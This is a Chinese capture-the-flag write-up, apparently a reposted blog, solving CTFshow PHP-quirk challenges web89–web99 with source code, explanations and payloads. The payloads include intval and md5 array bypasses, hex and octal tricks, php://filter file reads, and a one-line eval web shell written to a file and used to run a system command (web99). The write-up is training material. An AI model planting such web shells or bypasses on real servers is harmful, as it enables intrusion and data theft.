CTFshowPHP特性

news/2024/11/17 10:20:19/文章来源:https://www.cnblogs.com/WTT001/p/18550308

CTFshowPHP特性

web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

代码分析

if(isset($_GET['num'])){ #检查参数是否为num,是则下一步

if(preg_match("/[0-9]/", $num)){
die("no no no!"); #正则表达式是否包含数字0~9,如果包含则结束程序

if(intval($num)){
echo $flag; #使用 intval 函数将 $num 转换为整数,如果转换后不为0则输出flag

playload

这题我们用数组绕过

?num[]=

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

if($num==="4476"){
die("no no no!"); #如果字符串=4476就结束程序

if(intval($num,0)===4476){
echo $flag; #使用 intval 函数将 $num 转换为整数,如果转换后为4476则输出flag

playload

可以用进制绕过

?num=0x117c

也可以用intval函数进行绕过

intval("4476a") 会返回 4476,而 intval("a4476") 会返回 0。
因此,即使 num 参数包含非数字字符,只要这些字符后面跟着数字 4476,intval 仍然会返回 4476

所以构造

?num=4476a

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

代码分析

$a=$_GET['cmd']; #cmd 参数的值,赋值给变量 $a

if(preg_match('/^php$/im', $a)){ #使用preg_match函数检查 $a是否完全匹配字符串 php
'^php$' #表示字符串必须从头到尾完全等于 php
im #i 表示不区分大小写,m 表示多行模式

echo 'hacker'; #完全匹配字符串 php则输出hacker

if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
#如果 $a 完全匹配 php(不区分大小写),则输出 hacker,否则输出flag

else {
echo 'nonononono';
} #如果 $a 不匹配 php,则输出 nonononono

playload

?cmd=%0aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

}else{
echo intval($num,0); #如果条件不为4476,则输出转换后的整数值

playload

用进制绕过

?num=0x117c

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

if(preg_match("/[a-z]/i", $num)){ #使用正则表达式检查 $num 是否包含任何字母(不区分大小写)
die("no no no!");
} #如果 $num 包含字母,程序将立即终止,并输出 "no no no!"。

playload

可以用8进制数绕过

?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

代码分析

与上题相比较,多了一个strpos函数

if(!strpos($num, "0")){
die("no no no!"); #开头如果是数字0,则输出no no no!

playload

?num=+010574

可以用+来绕过

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

同上

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

代码分析

if(isset($_GET['u'])){ #参数要为u

if($_GET['u']=='flag.php'){
die("no no no"); #如果参数u=flag.php则输出no no no

}else{
highlight_file($_GET['u']); #如果参数u不等于flag.php,则highlight_file 函数高亮显示用户指定的文件内容。(报错)

playload

?u=php://filter/convert.base64-encode/resource=flag.php

直接用伪协议读取flag.php文件

?u=./flag.php

也可以绕过

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

代码分析

if (isset($_POST['a']) and isset($_POST['b'])) {
#检查是否存在名为 a 和 b 的 POST 参数,

if ($_POST['a'] != $_POST['b']) #检查 a 和 b 的值是否不相等

if (md5($_POST['a']) === md5($_POST['b'])) #检查 a 和 b 的md5值是否相等

playload

post数组绕过

a[]=1&b[]=2

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

代码分析

$_GET?$_GET=&$_POST:'flag'; # 三元运算符,$_GET为真则执行$_GET=&$_POST,假则为flag

$_GET $_GET['flag'] #数组

$_SERVER #值为$_SERVER

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); #如果get参数HTTP_FLAG的值为flag,就输出flag

$_GET 值为$_POST
如果$_GET 也就是$_POST['flag']=flag
$_GET = $_COOKIE
$_GET['flag'] = $_COOKIE['flag']
$_GET['flag'] = 'flag'

playload

get:?1=2 #这里似乎任何字符都可以

post:HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

代码分析

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
} #检查参数n是否存在,如果条件满足,
则使用 file_put_contents() 函数将 $_POST['content'] 的内容写入到文件 $_GET['n'] 中。

所以可以写入一句话木马

playload

get:?n=203.php

post:content=<?php @eval($_POST[1]);?>

1=system("tac flag36d.php");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/835224.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学舟图书阅读管理系统

前言:这不是一款用于观看网上电子书的阅读软件。这几年看了许多书籍,却一直没找到合意的软件以集中、统一整理笔记,因此只好自己开发了这个系统。使用了一段时间,还行,基本满足自己的需求,后来觉得可能也有他人在寻找类似的软件,就发布了。 在这竞争日益激烈的社会,你是…

CTFshow信息收集

CTFshow信息收集web1查看源代码就可以看到flagweb2ctrl++u得到flagweb3抓个包就可以查看flagweb4访问/robots.txt得到目录访问一下web5访问index.phps然后会下载一个文件文件中有flag。web6目录扫到www.zip啊?/fl000.txt得到了最终的flagweb7目录扫到访问web8还是扫目录访问we…

20222301 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容 1.1 本周学习内容回顾 本文采用了Metasploit框架,这是一款功能强大的渗透测试工具。Metasploit提供了丰富的攻击模块,涵盖远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种操作系统和应用程序进行测试。除了漏洞利用,Metasploit还具备强大的后渗透功能,…

2021陇剑杯-流量分析

1.昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:该⽹站使⽤了( )认证方式?(如有字母则默认小写) 注意:此附件适用于jwt所有系列 网站使用的认证方式主要有: Session机制JWTOAuth2CookieHTTP Basic AuthOpenID Connect双因素认证这题使用的是cookiejwt解密…

CTFshow黑盒测试刷题

web380 先扫目录打开报错了先用伪协议去查看源码之前扫到有flag.php 访问一下就得到flag了 web381 查看一下源码点击第三个css藏在目录里面 web382 跟上题一样不过访问这个页面是一个登录框 试一下弱口令 最后是admin admin888 就进去了web383 ![](https://cdn.nlark.com/yuque…

[BSidesCF 2020]Had a bad day 1

[BSidesCF 2020]Had a bad day 1 打开实例为一个随机猫狗图片网页点击WOOFERS,显示出一张狗子的图片,并发现参数?category=woofers尝试sql注入验证,闭合,发现报错信息发现include_path函数,猜测可能存在文件包含 构造payload,尝试读取index.php ?category=php://filter…

2024御宛杯

2024御宛杯图片的隐藏题目提示6位数字爆破一下改个宽高扫描就行NYSEC{abcdefghiklmn}啥玩意啊这赛博厨子flag{HNCTFbs345680967709b5}List of file signatures每四个字节翻转f=open("fl4g.jpeg",rb)ff=open("out.jpeg","wb")a=f.read()l=len(a)f…

ctfshow图片刷题

misc1 打开就是flagctfshow{22f1fb91fc4169f1c9411ce632a0ed8d} misc2 改后缀名pngctfshow{6f66202f21ad22a2a19520cdd3f69e7b} misc3 .bpg的图片 用这个工具打开 https://bellard.org/bpg/ctfshow{aade771916df7cde3009c0e631f9910d} misc4 逐个改后缀名就可以得到图片,合起来…

windows服务器应急响应

windows服务器应急响应首先环境是这样的,比linux应急响应好多了,有图形界面...1.请提交攻击者攻击成功的第一时间,格式:YY:MM:DD hh:mm:ss在phpstudy目录下搜索日志文件省赛用的是别人的工具,只能肉眼观察喽,个人习惯于010,可惜省赛有可能不提供...这条是登录了管理员账…

DIDCTF-2022暑假取证学习

DIDCTF-2022暑假取证学习1.请找出操作系统主机名WIN-49I0SNRJAMF2.请给出源磁盘的SHA256哈希值。这个软件没找到Autopsy 这个软件计算时间太长了,就...3.请找出操作系统中安装的Android模拟器名称和安装日期。格式:模拟器名时间例子:雷电模拟器2022年06月23日夜神模拟器2021…

2024腾龙杯-easy_Forensics

2024腾龙杯-easy_Forensicsvol.py -f 3.img --profile=Win7SP1x64 filescan | grep -E "png|zip|rar|jpg|txt"找到一张图片提取出来发现有压缩包分离出来解压得镜像导出来镜像里面是一个hint.txt打开是坐标,需要画图直接用gnuplot画图解码就行Here is the vigenere …

团队项目Scrum冲刺-day6

一、每天举行站立式会议 站立式会议照片一张 昨天已完成的工作成员 任务陈国金 代码沙箱Java实现凌枫 创建题目页面部分内容陈卓恒 更新题目界面谭立业 浏览题目页面廖俊龙 接口测试曾平凡 前端页面测试曾俊涛 协助代码沙箱Java实现薛秋昊 协助代码沙箱Java实现今天计划完成的工…